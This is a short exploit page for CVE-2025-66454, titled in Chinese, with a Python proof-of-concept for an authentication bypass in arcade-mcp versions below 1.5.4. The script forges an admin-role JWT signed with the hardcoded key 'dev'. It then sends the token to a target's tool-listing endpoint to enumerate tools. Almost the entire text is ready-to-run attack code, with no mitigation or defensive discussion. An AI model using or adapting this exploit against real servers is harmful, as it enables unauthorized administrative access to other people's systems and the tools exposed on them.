CVE-2025-66454: Arcade MCP硬编码JWT密钥认证绕过漏洞

import jwt import datetime # CVE-2025-66454 PoC - Forge JWT using hardcoded 'dev' key # Affected versions: arcade-mcp < 1.5.4 HARDCODED_SECRET = "dev" TARGET_URL = "http://<target>/mcp/v1/list_tools" def forge_jwt(): """ Generate a forged JWT token using the hardcoded 'dev' secret. This bypasses authentication on arcade-mcp servers < 1.5.4 """ payload = { "sub": "attacker", "role": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24), "iat": datetime.datetime.utcnow() } # Sign with the hardcoded 'dev' key token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") return token def exploit(): """ Exploit authentication bypass by sending forged JWT """ import requests forged_token = forge_jwt() headers = { "Authorization": f"Bearer {forged_token}" } # List tools (enumeration) response = requests.get(TARGET_URL, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}") return response if __name__ == "__main__": forge_jwt() # Uncomment to execute exploit: # exploit()